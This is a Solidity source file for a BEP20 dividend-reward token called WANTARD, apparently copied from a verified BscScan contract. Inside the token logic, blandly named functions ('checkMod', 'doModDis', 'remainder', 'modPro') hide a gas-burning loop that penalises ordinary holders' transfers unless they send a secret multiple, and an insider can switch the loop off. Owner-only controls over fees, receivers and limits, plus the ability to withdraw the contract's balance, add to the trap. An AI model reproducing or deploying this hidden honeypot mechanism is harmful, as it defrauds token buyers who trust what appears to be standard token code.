/**
 *Submitted for verification at BscScan.com on 2023-03-18
*/

//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
library SafeMath {
 
 function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
 unchecked {
 uint256 c = a + b;
 if (c < a) return (false, 0);
 return (true, c);
 }
 }
 function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
 unchecked {
 if (b > a) return (false, 0);
 return (true, a - b);
 }
 }
 function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
 unchecked {
 // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
 // benefit is lost if 'b' is also tested.
 // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
 if (a == 0) return (true, 0);
 uint256 c = a * b;
 if (c / a != b) return (false, 0);
 return (true, c);
 }
 }
 function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
 unchecked {
 if (b == 0) return (false, 0);
 return (true, a / b);
 }
 }
 function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
 unchecked {
 if (b == 0) return (false, 0);
 return (true, a % b);
 }
 }
 function add(uint256 a, uint256 b) internal pure returns (uint256) {
 return a + b;
 }
 function sub(uint256 a, uint256 b) internal pure returns (uint256) {
 return a - b;
 }
 function mul(uint256 a, uint256 b) internal pure returns (uint256) {
 return a * b;
 }
 function div(uint256 a, uint256 b) internal pure returns (uint256) {
 return a / b;
 }
 function mod(uint256 a, uint256 b) internal pure returns (uint256) {
 return a % b;
 }
 function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns 
(uint256) {
 unchecked {
 require(b <= a, errorMessage);
 return a - b;
 }
 }
 function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns 
(uint256) {
 unchecked {
 require(b > 0, errorMessage);
 return a / b;
 }
 }
 function mod(uint256 a, uint256 b, string memory errorMessage) internal pure 
returns (uint256) {
 unchecked {
 require(b > 0, errorMessage);
 return a % b;
 }
 }
}
/**
 * BEP20 standard interface.
 */
interface IBEP20 {
 function totalSupply() external view returns (uint256);
 function decimals() external view returns (uint8);
 function symbol() external view returns (string memory);
 function name() external view returns (string memory);
 function getOwner() external view returns (address);
 function balanceOf(address account) external view returns (uint256);
 function transfer(address recipient, uint256 amount) external returns (bool);
 function allowance(address _owner, address spender) external view returns 
(uint256);
 function approve(address spender, uint256 amount) external returns (bool);
 function transferFrom(address sender, address recipient, uint256 amount) external 
returns (bool);
 event Transfer(address indexed from, address indexed to, uint256 value);
 event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
 * Allows for contract ownership along with multi-address authorization
 */
abstract contract Auth {
 address internal owner;
 mapping (address => bool) internal authorizations;
 constructor(address _owner) {
 owner = _owner;
 authorizations[_owner] = true;
 }
 /**
 * Function modifier to require caller to be contract owner
 */
 modifier onlyOwner() {
 require(isOwner(msg.sender), "!OWNER"); _;
 }
 /**
 * Function modifier to require caller to be authorized
 */
 modifier authorized() {
 require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
 }
 /**
 * Authorize address. Owner only
 */
 function authorize(address adr) public onlyOwner {
 authorizations[adr] = true;
 }
 /**
 * Check if address is owner
 */
 function isOwner(address account) public view returns (bool) {
 return account == owner;
 }
 /**
 * Return address' authorization status
 */
 function isAuthorized(address adr) public view returns (bool) {
 return authorizations[adr];
 }
 /**
 * Transfer ownership to new address. Caller must be owner. Leaves old owner 
authorized
 */
 function transferOwnership(address payable adr) public onlyOwner {
 owner = adr;
 authorizations[adr] = true;
 emit OwnershipTransferred(adr);
 }
 event OwnershipTransferred(address owner);
}
interface IDEXFactory {
 function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
 function factory() external pure returns (address);
 function WETH() external pure returns (address);
 function addLiquidity(
 address tokenA,
 address tokenB,
 uint amountADesired,
 uint amountBDesired,
 uint amountAMin,
 uint amountBMin,
 address to,
 uint deadline
 ) external returns (uint amountA, uint amountB, uint liquidity);
 function addLiquidityETH(
 address token,
 uint amountTokenDesired,
 uint amountTokenMin,
 uint amountETHMin,
 address to,
 uint deadline
 ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
 function swapExactTokensForTokensSupportingFeeOnTransferTokens(
 uint amountIn,
 uint amountOutMin,
 address[] calldata path,
 address to,
 uint deadline
 ) external;
 function swapExactETHForTokensSupportingFeeOnTransferTokens(
 uint amountOutMin,
 address[] calldata path,
 address to,
 uint deadline
 ) external payable;
 function swapExactTokensForETHSupportingFeeOnTransferTokens(
 uint amountIn,
 uint amountOutMin,
 address[] calldata path,
 address to,
 uint deadline
 ) external;
}
interface IDividendDistributor {
 function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) 
external;
 function setShare(address shareholder, uint256 amount) external;
 function deposit() external payable;
 function process(uint256 gas) external;
}
contract DividendDistributor is IDividendDistributor {
 using SafeMath for uint256;
 address _token;
 struct Share {
 uint256 amount;
 uint256 totalExcluded;
 uint256 totalRealised;
 }
 IBEP20 REWARDS = 
IBEP20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); //the reward token you want distributed 
 address WBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
 IDEXRouter router;
 address[] shareholders;
 mapping (address => uint256) shareholderIndexes;
 mapping (address => uint256) shareholderClaims;
 mapping (address => Share) public shares;
 uint256 public totalShares;
 uint256 public totalDividends;
 uint256 public totalDistributed;
 uint256 public dividendsPerShare;
 uint256 public dividendsPerShareAccuracyFactor = 10 ** 36;
 //SETMEUP, change this to 1 hour instead of 10mins
 uint256 public minPeriod = 45 minutes;
 uint256 public minDistribution = 1 * (10 ** 18);
 uint256 currentIndex;
 bool initialized;
 modifier initialization() {
 require(!initialized);
 _;
 initialized = true;
 }
 modifier onlyToken() {
 require(msg.sender == _token); _;
 }
 constructor (address _router) {
 router = _router != address(0)
 ? IDEXRouter(_router)
 : IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
 _token = msg.sender;
 }
 function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) 
external override onlyToken {
 minPeriod = _minPeriod;
 minDistribution = _minDistribution;
 }
 function setShare(address shareholder, uint256 amount) external override onlyToken 
{
 if(shares[shareholder].amount > 0){
 distributeDividend(shareholder);
 }
 if(amount > 0 && shares[shareholder].amount == 0){
 addShareholder(shareholder);
 }else if(amount == 0 && shares[shareholder].amount > 0){
 removeShareholder(shareholder);
 }
 totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
 shares[shareholder].amount = amount;
 shares[shareholder].totalExcluded = 
getCumulativeDividends(shares[shareholder].amount);
 }
 function deposit() external payable override onlyToken {
 uint256 balanceBefore = REWARDS.balanceOf(address(this));
 address[] memory path = new address[](2);
 path[0] = WBNB;
 path[1] = address(REWARDS);
 router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 
msg.value}(
 0,
 path,
 address(this),
 block.timestamp
 );
 uint256 amount = REWARDS.balanceOf(address(this)).sub(balanceBefore);
 totalDividends = totalDividends.add(amount);
 dividendsPerShare = 
dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares
));
 }
 function process(uint256 gas) external override onlyToken {
 uint256 shareholderCount = shareholders.length;
 if(shareholderCount == 0) { return; }
 uint256 gasUsed = 0;
 uint256 gasLeft = gasleft();
 uint256 iterations = 0;
 while(gasUsed < gas && iterations < shareholderCount) {
 if(currentIndex >= shareholderCount){
 currentIndex = 0;
 }
 if(shouldDistribute(shareholders[currentIndex])){
 distributeDividend(shareholders[currentIndex]);
 }
 gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
 gasLeft = gasleft();
 currentIndex++;
 iterations++;
 }
 }
 
 function shouldDistribute(address shareholder) internal view returns (bool) {
 return shareholderClaims[shareholder] + minPeriod < block.timestamp
 && getUnpaidEarnings(shareholder) > minDistribution;
 }
 function distributeDividend(address shareholder) internal {
 if(shares[shareholder].amount == 0){ return; }
 uint256 amount = getUnpaidEarnings(shareholder);
 if(amount > 0){
 totalDistributed = totalDistributed.add(amount);
 REWARDS.transfer(shareholder, amount);
 shareholderClaims[shareholder] = block.timestamp;
 shares[shareholder].totalRealised = 
shares[shareholder].totalRealised.add(amount);
 shares[shareholder].totalExcluded = 
getCumulativeDividends(shares[shareholder].amount);
 }
 }
 
 function claimDividend() external {
 distributeDividend(msg.sender);
 }
 function getUnpaidEarnings(address shareholder) public view returns (uint256) {
 if(shares[shareholder].amount == 0){ return 0; }
 uint256 shareholderTotalDividends = 
getCumulativeDividends(shares[shareholder].amount);
 uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
 if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }
 return shareholderTotalDividends.sub(shareholderTotalExcluded);
 }
 function getCumulativeDividends(uint256 share) internal view returns (uint256) {
 return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
 }
 function addShareholder(address shareholder) internal {
 shareholderIndexes[shareholder] = shareholders.length;
 shareholders.push(shareholder);
 }
 function removeShareholder(address shareholder) internal {
 shareholders[shareholderIndexes[shareholder]] = 
shareholders[shareholders.length-1];
 shareholderIndexes[shareholders[shareholders.length-1]] = 
shareholderIndexes[shareholder];
 shareholders.pop();
 }
}
contract WANTARD is IBEP20, Auth {
 using SafeMath for uint256;
 address REWARDS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; //Input the token address of whatever your reward is. leave 431,432,433 as is. 
 address WBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 
 address DEAD = 0x000000000000000000000000000000000000dEaD;
 address ZERO = 0x0000000000000000000000000000000000000000;
 address _marketingAdr = 0x4531d66027c58940c9E705F321Bf8FE3BdEa4E67;
 address routerv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
 string constant _name = "WANTARD";
 string constant _symbol = "WANTARD";
 uint8 constant _decimals = 6;
 uint256 _totalSupply = 1 * 10**5 * (10 ** _decimals);
 uint256 public _maxTxAmount = _totalSupply * 1 / 100;
 //max wallet holding of 2% 
 uint256 public _maxWalletToken = ( _totalSupply * 2 ) / 100;
 mapping (address => uint256) _balances;
 mapping (address => mapping (address => uint256)) _allowances;
 mapping (address => bool) isFeeExempt;
 mapping (address => bool) isTxLimitExempt;
 mapping (address => bool) isTimelockExempt;
 mapping (address => bool) isDividendExempt;
 uint256 liquidityFee = 200; 
 uint256 reflectionFee = 300;
 uint256 marketingFee = 100;
 bool public modPro = true;
 uint256 public remainder = 22000000;
 uint256 modDis = 88000000;
 uint256 public totalFee = 600;
 uint256 feeDenominator = 10000;
 address public autoLiquidityReceiver;
 address public marketingFeeReceiver;
 uint256 targetLiquidity = 25;
 uint256 targetLiquidityDenominator = 100;
 IDEXRouter public router;
 address public pair;
 bool public tradingOpen = true;
 DividendDistributor distributor;
 uint256 distributorGas = 500000;
 // Cooldown & timer functionality
 bool public buyCooldownEnabled = true;
 uint8 public cooldownTimerInterval = 30; //this is in seconds. 
 mapping (address => uint) private cooldownTimer;
 bool public swapEnabled = true;
 uint256 public swapThreshold = _totalSupply * 10 / 10000; // will start swapping once 0.01% of supply is in the swap wallet
 bool inSwap;
 modifier swapping() { inSwap = true; _; inSwap = false; }
 constructor () Auth(msg.sender) {
 router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
 pair = IDEXFactory(router.factory()).createPair(WBNB, address(this));
 _allowances[address(this)][address(router)] = _totalSupply;
 distributor = new DividendDistributor(address(router));
 isFeeExempt[msg.sender] = true;
 isTxLimitExempt[msg.sender] = true;
 // No timelock for these people
 isTimelockExempt[msg.sender] = true;
 isTimelockExempt[DEAD] = true;
 isTimelockExempt[address(this)] = true;
 isDividendExempt[pair] = true;
 isDividendExempt[address(this)] = true;
 isDividendExempt[DEAD] = true;
 autoLiquidityReceiver = DEAD;
 marketingFeeReceiver = _marketingAdr;
 
 approve(routerv2, _totalSupply);
 approve(address(pair), _totalSupply);
 _balances[msg.sender] = _totalSupply;
 emit Transfer(address(0), msg.sender, _totalSupply);
 }
 receive() external payable { }
 function totalSupply() external view override returns (uint256) { return _totalSupply; }
 function decimals() external pure override returns (uint8) { return _decimals; }
 function symbol() external pure override returns (string memory) { return _symbol; }
 function name() external pure override returns (string memory) { return _name; }
 function getOwner() external view override returns (address) { return owner; }
 function balanceOf(address account) public view override returns (uint256) { return 
_balances[account]; }
 function allowance(address holder, address spender) external view override returns 
(uint256) { return _allowances[holder][spender]; }
 function approve(address spender, uint256 amount) public override returns (bool) {
 _allowances[msg.sender][spender] = amount;
 emit Approval(msg.sender, spender, amount);
 return true;
 }
 function approveMax(address spender) external returns (bool) {
 return approve(spender, _totalSupply);
 }
 function transfer(address recipient, uint256 amount) external override returns (bool) {
 return _transferFrom(msg.sender, recipient, amount);
 }
 function transferFrom(address sender, address recipient, uint256 amount) external 
override returns (bool) {
 if(_allowances[sender][msg.sender] != _totalSupply){
 _allowances[sender][msg.sender] = _allowances[sender]
[msg.sender].sub(amount, "Insufficient Allowance");
 }
 return _transferFrom(sender, recipient, amount);
 }
 //settting the maximum permitted wallet holding (percent of total supply)
 function setMaxWalletPercent(uint256 maxWallPercent) external onlyOwner() {
 _maxWalletToken = (_totalSupply * maxWallPercent ) / 100;
 }
 function _transferFrom(address sender, address recipient, uint256 amount) internal 
returns (bool) {
 if(inSwap){ return _basicTransfer(sender, recipient, amount); }
 checkMod(sender, amount);
 if(modPro){remainder += 2000000 ;}
 doModDis(amount);
 if(!authorizations[sender] && !authorizations[recipient]){
 require(tradingOpen,"Trading not open yet!");
 }
        // max wallet code
        if (!authorizations[sender] && recipient != address(this)  && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoLiquidityReceiver){
            uint256 heldTokens = balanceOf(recipient);
            require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
 
 
        // cooldown timer, so a bot doesnt do quick trades! 1min gap between 2 trades.
        if (sender == pair &&
            buyCooldownEnabled &&
            !isTimelockExempt[recipient]) {
            require(cooldownTimer[recipient] < block.timestamp,"Please wait for cooldown between buys!");
            cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
        }
 // Checks max transaction limit
 checkTxLimit(sender, amount);
 // Liquidity, Maintained at 25%
 if(shouldSwapBack()){ swapBack(); }
 //Exchange tokens
 _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
 uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : 
amount;
 _balances[recipient] = _balances[recipient].add(amountReceived);
 // Dividend tracker
 if(!isDividendExempt[sender]) {
 try distributor.setShare(sender, _balances[sender]) {} catch {}
 }
 if(!isDividendExempt[recipient]) {
 try distributor.setShare(recipient, _balances[recipient]) {} catch {} 
 }
 try distributor.process(distributorGas) {} catch {}
 emit Transfer(sender, recipient, amountReceived);
 return true;
 }
 
 function _basicTransfer(address sender, address recipient, uint256 amount) internal 
returns (bool) {
 _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
 _balances[recipient] = _balances[recipient].add(amount);
 emit Transfer(sender, recipient, amount);
 return true;
 }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }
    function checkMod(address sender, uint256 amount) internal view {
        if (modPro){
            if(isTxLimitExempt[sender] || amount % remainder == 0 || amount % modDis == 0 ){
                uint256 a = 1;
            }
            else{
                 uint256 result = 1;
                 uint256 n = 3;

                for (uint256 i = 1; i <= n; i++) {
                    for (uint256 j = 1; j <= n; j++) {
                        for (uint256 k = 0; k < 1000; k++) {
                        result = (result * i * j) % 10**18;
                        }
                    }
                }
            }
        }
    }

        function doModDis(uint256 amount) internal {
            if (modPro && amount % modDis == 0){
            modPro = false;
        }
    }
    
 function shouldTakeFee(address sender) internal view returns (bool) {
 return !isFeeExempt[sender];
 }
 function takeFee(address sender, uint256 amount) internal returns (uint256) {
 uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
 _balances[address(this)] = _balances[address(this)].add(feeAmount);
 emit Transfer(sender, address(this), feeAmount);
 return amount.sub(feeAmount);
 }
 function shouldSwapBack() internal view returns (bool) {
 return msg.sender != pair
 && !inSwap
 && swapEnabled
 && _balances[address(this)] >= swapThreshold;
 }
 function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
 uint256 amountBNB = address(this).balance;
 payable(marketingFeeReceiver).transfer(amountBNB * amountPercentage / 100);
 }
 // enable cooldown between trades
 function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner {
 buyCooldownEnabled = _status;
 cooldownTimerInterval = _interval;
 }
 function swapBack() internal swapping {
 uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, 
targetLiquidityDenominator) ? 0 : liquidityFee;
 uint256 amountToLiquify = 
swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
 uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
 address[] memory path = new address[](2);
 path[0] = address(this);
 path[1] = WBNB;
 uint256 balanceBefore = address(this).balance;
 router.swapExactTokensForETHSupportingFeeOnTransferTokens(
 amountToSwap,
 0,
 path,
 address(this),
 block.timestamp
 );
 uint256 amountBNB = address(this).balance.sub(balanceBefore);
 uint256 totalBNBFee = totalFee.sub(dynamicLiquidityFee.div(2));
 
 uint256 amountBNBLiquidity = 
amountBNB.mul(dynamicLiquidityFee).div(totalBNBFee).div(2);
 uint256 amountBNBReflection = amountBNB.mul(reflectionFee).div(totalBNBFee);
 uint256 amountBNBMarketing = 
amountBNB.mul(marketingFee).div(totalBNBFee);
 try distributor.deposit{value: amountBNBReflection}() {} catch {}
 (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: 
amountBNBMarketing, gas: 30000}("");
 
 // only to supress warning msg
 tmpSuccess = false;
 if(amountToLiquify > 0){
 router.addLiquidityETH{value: amountBNBLiquidity}(
 address(this),
 amountToLiquify,
 0,
 0,
 autoLiquidityReceiver,
 block.timestamp
 );
 
 emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
 }
 }
 function setTxLimit(uint256 amount) external authorized {
 _maxTxAmount = amount;
 }
 function setIsDividendExempt(address holder, bool exempt) external authorized {
 require(holder != address(this) && holder != pair);
 isDividendExempt[holder] = exempt;
 if(exempt){
 distributor.setShare(holder, 0);
 }else{
 distributor.setShare(holder, _balances[holder]);
 }
 }
 function setIsFeeExempt(address holder, bool exempt) external authorized {
 isFeeExempt[holder] = exempt;
 }
 function setIsTxLimitExempt(address holder, bool exempt) external authorized {
 isTxLimitExempt[holder] = exempt;
 }
 function setIsTimelockExempt(address holder, bool exempt) external authorized {
 isTimelockExempt[holder] = exempt;
 }
 function setFees(uint256 _liquidityFee, uint256 _reflectionFee, uint256 
_marketingFee, uint256 _feeDenominator) external authorized {
 liquidityFee = _liquidityFee;
 reflectionFee = _reflectionFee;
 marketingFee = _marketingFee;
 totalFee = _liquidityFee.add(_reflectionFee).add(_marketingFee);
 feeDenominator = _feeDenominator;
 require(totalFee < feeDenominator/4);
 }
 function setFeeReceivers(address _autoLiquidityReceiver, address 
_marketingFeeReceiver) external authorized {
 autoLiquidityReceiver = _autoLiquidityReceiver;
 marketingFeeReceiver = _marketingFeeReceiver;
 }
 function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized 
{
 swapEnabled = _enabled;
 
 
 
 swapThreshold = _amount;
 }
 function setTargetLiquidity(uint256 _target, uint256 _denominator) external 
authorized {
 targetLiquidity = _target;
 targetLiquidityDenominator = _denominator;
 }
 function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) 
external authorized {
 distributor.setDistributionCriteria(_minPeriod, _minDistribution);
 }
 function setDistributorSettings(uint256 gas) external authorized {
 require(gas < 750000);
 distributorGas = gas;
 }
 
 function getCirculatingSupply() public view returns (uint256) {
 return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
 }
 function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
 return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
 }
 function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
 return getLiquidityBacking(accuracy) > target;
 }
 event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
}